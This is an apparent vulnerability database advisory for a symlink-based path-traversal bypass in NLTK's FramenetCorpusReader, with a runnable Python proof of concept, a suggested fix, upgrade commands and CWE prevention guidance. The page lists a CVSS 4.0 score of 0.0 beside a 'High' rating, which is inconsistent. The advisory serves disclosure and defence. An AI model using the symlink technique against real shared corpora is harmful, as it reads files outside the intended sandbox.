Skip to content

GHSA-f833-7jw8-xwrv CVE-2026-62384 PYSEC-2026-3789

NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

High PyPI
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.65%
Chance of exploitation in the next 30 days. Higher than 51.23% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-59 Improper Link Resolution Before File Access ('Link Following')
Fix
3.10.2
Upgrade nltk to this version or later

Description

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

  • frame_by_name() reads <frame_dir>/<name>.xml
  • _lu_file() reads <lu_dir>/lu<id>.xml
  • doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
  • Core corpus-reader code, not a demo/GUI tool.
  • Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Affected versions

PyPI

PackageVulnerableFixed in
nltk
>= 3.10.0, < 3.10.2
3.10.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.2

pip
pip install --upgrade "nltk>=3.10.2"
poetry
poetry add "nltk>=3.10.2"
uv
uv add "nltk>=3.10.2"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-59: Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

How to prevent it
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor